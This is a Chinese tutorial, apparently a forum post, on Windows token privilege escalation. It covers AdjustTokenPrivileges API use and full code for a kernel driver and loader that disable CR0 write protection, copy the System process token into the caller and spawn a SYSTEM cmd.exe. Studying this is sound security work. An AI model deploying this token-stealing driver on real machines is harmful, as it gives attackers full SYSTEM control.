一.前言
从下面这张图可以看到,不同的进程是有不同的权限的,其中比如System进程所拥有的权限是最高的。
而为了保护系统,Windows对一些操作进行了限制。如果没有足够的权限,是无法进行操作的。比如像创建服务这种操作,就需要程序具有管理员权限,普通的用户权限是无法完成操作的。
而在Windows系统中,每个进程都有一个Token令牌用来保存进程的权限,接下来就通过两种方法来修改进程的Token实现提权。
操作系统 | Win7 X86 SP1 |
编译器 | Visual Studio 2017 |
调试器 | WinDbg |
二.用户层提权技术
要在用户层实现权限的提升,最重要的是要用到AdjustTokenPrivileges函数,该函数可以把指定的需要的权限打开,定义如下:
BOOL WINAPI AdjustTokenPrivileges(
__in HANDLE TokenHandle,
__in BOOL DisableAllPrivileges,
__in_opt PTOKEN_PRIVILEGES NewState,
__in DWORD BufferLength,
__out_opt PTOKEN_PRIVILEGES PreviousState,
__out_opt PDWORD ReturnLength);
参数 | 含义 |
TokenHandle | 指定要提升的进程的访问令牌的句柄。这个句柄需要具备TOKEN_ADJUST_PRIVILEGES权限 |
DisableAllPrivileges | 指定是否要禁用进程的所有权限。如果是TRUE,则该函数会禁用进程的所有权限并且忽略NewState |
NewState | 指向TOKEN_PRIVILEGES结构的指针,该结构指定特权数组以及其属性 |
BufferLength | 指定由PreviousState参数指向的缓冲区大小。如果PreviousState为NULL,则该值为0 |
PreviousState | 指向缓冲区的指针,该函数使用包含函数修改的任何特权先前状态的TOKEN_PRIVILEGES结构填充 |
ReturnLength | 指向一个变量的指针,该变量接收由PreviousState参数指向的缓冲区所需大小。如果PreviousState为NULL,则此参数可为NULL |
其中TOKEN_PRIVILEGES的定义如下:
typedef struct _TOKEN_PRIVILEGES {
DWORD PrivilegeCount;
LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
} TOKEN_PRIVILEGES, *PTOKEN_PRIVILEGES;
PrivilegeCount指定数组Privileges的个数,数组中的每个元素都是LUID_AND_ATTRIBUTES结构体,该结构体的定义如下
#define ANYSIZE_ARRAY 1
typedef struct _LUID {
DWORD LowPart;
LONG HighPart;
} LUID, *PLUID;
typedef struct _LUID_AND_ATTRIBUTES {
LUID Luid;
DWORD Attributes;
} LUID_AND_ATTRIBUTES, * PLUID_AND_ATTRIBUTES;
typedef LUID_AND_ATTRIBUTES LUID_AND_ATTRIBUTES_ARRAY[ANYSIZE_ARRAY];
typedef LUID_AND_ATTRIBUTES_ARRAY *PLUID_AND_ATTRIBUTES_ARRAY;
其中的Luid保存的就是令牌权限对应的Luid值,而Attributes则表示的特权的属性,不同的值对应的含义如下
值 | 含义 |
SE_PRIVILEGE_ENABLED | 启用此特权 |
SE_PRIVILEGE_REMOVED | 从令牌中的特权列表中删除特权 |
None | 禁用此特权 |
AdjustTokenPrivileges函数如果执行失败,则返回值为0,而如果函数成功则会返回非0。此时需要调用GetLastError,如果返回值是ERROR_SUCCESS则表示进程成功提权。
根据这个函数可以知道,要提升需要的权限就需要获得足够权限的进程令牌以及需要提升到的令牌的Luid值,在通过这个函数把具有权限Luid值赋给对应的进程令牌。
接下来就需要解决两个问题,一个是要提升的权限的具有TOKEN_ADJUST_PRIVILEGES的令牌句柄,而要获得这个句柄就需要使用到OpenProcessToken,该函数的定义如下
BOOL WINAPI OpenProcessToken(
__in HANDLE ProcessHandle,
__in DWORD DesiredAccess,
__out PHANDLE TokenHandle);
参数 | 含义 |
ProcessHandle | 要获得令牌句柄的进程句柄 |
DesiredAccess | 指定一个访问掩码,并指定访问令牌的请求类型 |
TokenHandle | 指向一个句柄的指针,用于接收获得的令牌句柄 |
通过这个函数就可以获得要修改权限的进程的令牌句柄,接下来需要获得要提升到的权限的Luid的值,要获得该值需要使用LookupPrivilegeValue,该函数的定义如下
BOOL WINAPI LookupPrivilegeValue(
__in_opt LPCTSTR lpSystemName,
__in LPCTSTR lpName,
__out PLUID lpLuid);
参数 | 含义 |
lpSystemName
| 指向以NULL结尾的字符串指针,该字符串指向要获得特权值得系统名称。如果该值是NULL,则该函数就会从本地系统上查找特权名称 |
lpName | 指向字符串指针,该字符串保存特权的名称 |
lpLuid | 指向LUID变量的指针,该变量接收由lpSystemName参数指定系统中已知权限的LUID |
通过lpName可以获得具有特定权限的Luid,而这个值在文档中可以指定以下的这些
#define SE_CREATE_TOKEN_NAME TEXT("SeCreateTokenPrivilege")
#define SE_ASSIGNPRIMARYTOKEN_NAME TEXT("SeAssignPrimaryTokenPrivilege")
#define SE_LOCK_MEMORY_NAME TEXT("SeLockMemoryPrivilege")
#define SE_INCREASE_QUOTA_NAME TEXT("SeIncreaseQuotaPrivilege")
#define SE_UNSOLICITED_INPUT_NAME TEXT("SeUnsolicitedInputPrivilege")
#define SE_MACHINE_ACCOUNT_NAME TEXT("SeMachineAccountPrivilege")
#define SE_TCB_NAME TEXT("SeTcbPrivilege")
#define SE_SECURITY_NAME TEXT("SeSecurityPrivilege")
#define SE_TAKE_OWNERSHIP_NAME TEXT("SeTakeOwnershipPrivilege")
#define SE_LOAD_DRIVER_NAME TEXT("SeLoadDriverPrivilege")
#define SE_SYSTEM_PROFILE_NAME TEXT("SeSystemProfilePrivilege")
#define SE_SYSTEMTIME_NAME TEXT("SeSystemtimePrivilege")
#define SE_PROF_SINGLE_PROCESS_NAME TEXT("SeProfileSingleProcessPrivilege")
#define SE_INC_BASE_PRIORITY_NAME TEXT("SeIncreaseBasePriorityPrivilege")
#define SE_CREATE_PAGEFILE_NAME TEXT("SeCreatePagefilePrivilege")
#define SE_CREATE_PERMANENT_NAME TEXT("SeCreatePermanentPrivilege")
#define SE_BACKUP_NAME TEXT("SeBackupPrivilege")
#define SE_RESTORE_NAME TEXT("SeRestorePrivilege")
#define SE_SHUTDOWN_NAME TEXT("SeShutdownPrivilege")
#define SE_DEBUG_NAME TEXT("SeDebugPrivilege")
#define SE_AUDIT_NAME TEXT("SeAuditPrivilege")
#define SE_SYSTEM_ENVIRONMENT_NAME TEXT("SeSystemEnvironmentPrivilege")
#define SE_CHANGE_NOTIFY_NAME TEXT("SeChangeNotifyPrivilege")
#define SE_REMOTE_SHUTDOWN_NAME TEXT("SeRemoteShutdownPrivilege")
#define SE_UNDOCK_NAME TEXT("SeUndockPrivilege")
#define SE_SYNC_AGENT_NAME TEXT("SeSyncAgentPrivilege")
#define SE_ENABLE_DELEGATION_NAME TEXT("SeEnableDelegationPrivilege")
#define SE_MANAGE_VOLUME_NAME TEXT("SeManageVolumePrivilege")
#define SE_IMPERSONATE_NAME TEXT("SeImpersonatePrivilege")
#define SE_CREATE_GLOBAL_NAME TEXT("SeCreateGlobalPrivilege")
#define SE_TRUSTED_CREDMAN_ACCESS_NAME TEXT("SeTrustedCredManAccessPrivilege")
#define SE_RELABEL_NAME TEXT("SeRelabelPrivilege")
#define SE_INC_WORKING_SET_NAME TEXT("SeIncreaseWorkingSetPrivilege")
#define SE_TIME_ZONE_NAME TEXT("SeTimeZonePrivilege")
#define SE_CREATE_SYMBOLIC_LINK_NAME TEXT("SeCreateSymbolicLinkPrivilege")
此时要获得哪个权限的Luid就可以通过宏定义来指定不同的字符串指针。现在获得了令牌句柄和要获得的权限的Luid值就可以通过AdjustTokenPrivileges来提升进程的权限,完整代码如下
BOOL EnbalePrivileges()
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = TRUE;
DWORD dwRet = 0;
HANDLE hProcess = GetCurrentProcess();
// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (!bRet)
{
ShowError("OpenProcessToken");
goto exit;
}
// 获取本地系统的特定特权的LUID值
bRet = LookupPrivilegeValue(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &luidValue);
if (!bRet)
{
ShowError("LookupPrivilegeValue");
bRet = FALSE;
goto exit;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (!bRet)
{
ShowError("AdjustTokenPrivileges");
goto exit;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
bRet = TRUE;
goto exit;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
ShowError("ERROR_NOT_ALL_ASSIGNED");
bRet = FALSE;
goto exit;
}
}
exit:
return bRet;
}
三.驱动层权限提升
在内核层中,每一个进程都有一个EPROCESS结构,该结构的的成员如下
3: kd> dt _EPROCESS
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER
+0x0a8 ExitTime : _LARGE_INTEGER
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : Ptr32 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY //进程链表
+0x0c0 ProcessQuotaUsage : [2] Uint4B
+0x0c8 ProcessQuotaPeak : [2] Uint4B
+0x0d0 CommitCharge : Uint4B
+0x0d4 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK
+0x0d8 CpuQuotaBlock : Ptr32 _PS_CPU_QUOTA_BLOCK
+0x0dc PeakVirtualSize : Uint4B
+0x0e0 VirtualSize : Uint4B
+0x0e4 SessionProcessLinks : _LIST_ENTRY
+0x0ec DebugPort : Ptr32 Void
+0x0f0 ExceptionPortData : Ptr32 Void
+0x0f0 ExceptionPortValue : Uint4B
+0x0f0 ExceptionPortState : Pos 0, 3 Bits
+0x0f4 ObjectTable : Ptr32 _HANDLE_TABLE
+0x0f8 Token : _EX_FAST_REF
+0x0fc WorkingSetPage : Uint4B
+0x100 AddressCreationLock : _EX_PUSH_LOCK
+0x104 RotateInProgress : Ptr32 _ETHREAD
+0x108 ForkInProgress : Ptr32 _ETHREAD
+0x10c HardwareTrigger : Uint4B
+0x110 PhysicalVadRoot : Ptr32 _MM_AVL_TABLE
+0x114 CloneRoot : Ptr32 Void
+0x118 NumberOfPrivatePages : Uint4B
+0x11c NumberOfLockedPages : Uint4B
+0x120 Win32Process : Ptr32 Void
+0x124 Job : Ptr32 _EJOB
+0x128 SectionObject : Ptr32 Void
+0x12c SectionBaseAddress : Ptr32 Void
+0x130 Cookie : Uint4B
+0x134 Spare8 : Uint4B
+0x138 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY
+0x13c Win32WindowStation : Ptr32 Void
+0x140 InheritedFromUniqueProcessId : Ptr32 Void
+0x144 LdtInformation : Ptr32 Void
+0x148 VdmObjects : Ptr32 Void
+0x14c ConsoleHostProcess : Uint4B
+0x150 DeviceMap : Ptr32 Void
+0x154 EtwDataSource : Ptr32 Void
+0x158 FreeTebHint : Ptr32 Void
+0x160 PageDirectoryPte : _HARDWARE_PTE
+0x160 Filler : Uint8B
+0x168 Session : Ptr32 Void
+0x16c ImageFileName : [15] UChar //指向进程的名称
+0x17b PriorityClass : UChar
+0x17c JobLinks : _LIST_ENTRY
+0x184 LockedPagesList : Ptr32 Void
+0x188 ThreadListHead : _LIST_ENTRY
其中需要注意的三个成员是:
偏移
| 成员
| 含义 |
0xB4 | UniqueProcessId
| 进程PID |
0xB8 | ActiveProcessLinks
| 双向链表用来遍历进程 |
0xF8 | Token | 保存了进程的令牌 |
那么就可以使用ActiveProcessLinks来遍历进程,找到PID=4的System进程,取出它的Token赋给当前进程的Token就实现了提权。如果对进程遍历不太清楚可以看下:进程隐藏技术。下面由关于这种进程遍历的介绍
用户层代码如下:
#include <cstdio>
#include <windows.h>
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define CTL_ENABLE_PRIVILEGES MYIOCTRL_CODE(0)
#define LINK_NAME "\\\\.\\EnablePrivilegesLink" //符号名
#define DRIVER_NAME "EnablePrivilegeDriver" //驱动名称
VOID ShowError(PCHAR msg);
BOOL EnbalePrivileges();
BOOL InstallService(); //安装驱动服务
BOOL UnInstallService(); //卸载驱动
int main()
{
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
if (InstallService())
{
if (EnbalePrivileges())
{
printf("权限提升成功\n");
si.cb = sizeof(si);
if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi))
{
ShowError("CreateProcess Error\n");
}
}
if (!UnInstallService())
{
ShowError("UnInstallService");
}
}
system("pause");
return 0;
}
BOOL EnbalePrivileges()
{
BOOL bRet = TRUE;
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0;
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
ShowError("CreateFile");
bRet = FALSE;
goto exit;
}
// 与驱动设备进行交互,提升权限
if (!DeviceIoControl(hDevice,
CTL_ENABLE_PRIVILEGES,
NULL,
0,
NULL,
0,
&dwReturnLength,
NULL))
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
BOOL UnInstallService()
{
BOOL bRet = TRUE;
SC_HANDLE hService = NULL, hSCMHandle = NULL;
SERVICE_STATUS ServiceStatus = { 0 };
hSCMHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); //建立服务控制管理器连接
if (hSCMHandle == NULL)
{
printf("OpenSCManager error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
hService = OpenService(hSCMHandle, DRIVER_NAME, SERVICE_ALL_ACCESS);
if (hService == NULL)
{
printf("CreateService error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
if (!ControlService(hService, SERVICE_CONTROL_STOP, &ServiceStatus)) //停止驱动服务
{
printf("ControlService error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
if (!DeleteService(hService)) //删除驱动
{
printf("DeleteService error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
printf("驱动卸载成功\n");
exit:
if (hSCMHandle) CloseServiceHandle(hSCMHandle);
if (hService) CloseServiceHandle(hService);
return bRet;
}
BOOL InstallService()
{
SC_HANDLE hSCMHandle = NULL, hService = NULL;
BOOL bRet = TRUE;
CHAR szDriverPath[MAX_PATH] = { 0 };
hSCMHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); //建立服务控制管理器连接
if (hSCMHandle == NULL)
{
printf("OpenSCManager error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
//获取当前程序运行目录
GetCurrentDirectory(MAX_PATH, szDriverPath);
strcat(szDriverPath, "\\");
strcat(szDriverPath, DRIVER_NAME);
strcat(szDriverPath, ".sys");
//创建一个服务对象
hService = CreateService(hSCMHandle,
DRIVER_NAME, //驱动名称
DRIVER_NAME, //显示的名称
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, //指定内核驱动程序
SERVICE_DEMAND_START, //需要时候开启
SERVICE_ERROR_NORMAL,
szDriverPath, //驱动的路径
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL)
{
printf("CreateService error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
if (!StartService(hService, 0, NULL)) //启动服务
{
printf("StartService error %d\n", GetLastError());
bRet = FALSE;
goto exit;
}
printf("驱动安装成功\n");
exit:
if (hSCMHandle) CloseServiceHandle(hSCMHandle);
if (hService) CloseServiceHandle(hService);
return bRet;
}
VOID ShowError(PCHAR msg)
{
printf("%s Error %d\n", msg, GetLastError());
}
内核层代码如下:
#include <ntifs.h>
#include <ntddk.h>
#define IOCTRL_BASE 0x800
#define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, IOCTRL_BASE + i, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define CTL_ENABLE_PRIVILEGES MYIOCTRL_CODE(0)
#define DEVICE_NAME L"\\Device\\EnablePrivilegesDevice"
#define SYMBOL_LINK_XP L"\\DosDevices\\EnablePrivilegesLink"
#define SYMBOL_LINK_WIN7 L"\\DosDevices\\Global\\EnablePrivilegesLink"
VOID DriverUnload(IN PDRIVER_OBJECT driverObject);
VOID ShowError(PCHAR msg, NTSTATUS status);
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp);
NTSTATUS DispatchIoctrl(PDEVICE_OBJECT pObj, PIRP pIrp);
VOID EnablePrivileges();
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registryPath)
{
NTSTATUS status = STATUS_SUCCESS;
UNICODE_STRING uDeviceName, uSymbolLinkName;
ULONG i = 0;
PDEVICE_OBJECT pDeviceOjb = NULL;
//创建设备
RtlInitUnicodeString(&uDeviceName, DEVICE_NAME);
status = IoCreateDevice(driverObject, NULL, &uDeviceName, FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceOjb);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateDevice %X\r\n", status);
goto exit;
}
//设置数据交互方式
pDeviceOjb->Flags |= DO_BUFFERED_IO;
//创建符号链接
if (IoIsWdmVersionAvailable(1, 0x10)) //根据操作系统版本来初始化符号名
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_WIN7);
}
else
{
RtlInitUnicodeString(&uSymbolLinkName, SYMBOL_LINK_XP);
}
status = IoCreateSymbolicLink(&uSymbolLinkName, &uDeviceName);
if (!NT_SUCCESS(status))
{
DbgPrint("IoCreateSymbolicLink %X\r\n", status);
goto exit;
}
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
driverObject->MajorFunction[i] = DispatchCommon;
}
driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchIoctrl;
DbgPrint("驱动加载成功\r\n");
exit:
driverObject->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
NTSTATUS DispatchIoctrl(PDEVICE_OBJECT pObj, PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION pIrpStack;
ULONG uIoControlCode = 0, uInformation = 0;
//获取设备栈
pIrpStack = IoGetCurrentIrpStackLocation(pIrp);
//获取控制码
uIoControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode;
switch(uIoControlCode)
{
case CTL_ENABLE_PRIVILEGES:
{
EnablePrivileges();
break;
}
}
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = uInformation;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID EnablePrivileges()
{
PEPROCESS pEprocess = NULL, pCurEprocess = NULL;
pEprocess = PsGetCurrentProcess();
pCurEprocess = pEprocess;
// 关闭页保护
__asm
{
cli
push eax
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
pop eax
}
do
{
// 判断PID是否等于4
if (*(PULONG)((ULONG)pCurEprocess + 0xB4) == 0x4)
{
// 将System的Token赋值到当前进程
*(PULONG)((ULONG)pEprocess + 0xF8) = *(PULONG)((ULONG)pCurEprocess + 0xF8);
break;
}
pCurEprocess = (PEPROCESS)(*(PULONG)((ULONG)pCurEprocess + 0xB8) - 0xB8);
} while (pCurEprocess != pEprocess);
// 开起页保护
__asm
{
push eax
mov eax, cr0
or eax, 0x10000
mov cr0, eax
pop eax
sti
}
}
NTSTATUS DispatchCommon(PDEVICE_OBJECT pObj, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
VOID ShowError(PCHAR msg, NTSTATUS status)
{
DbgPrint("%s Error 0x%X\n", msg, status);
}
VOID DriverUnload(IN PDRIVER_OBJECT driverObject)
{
DbgPrint("驱动卸载完成\r\n");
}
可以看到,最终程序成功提权:
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2021-11-30 09:56
被1900编辑
,原因: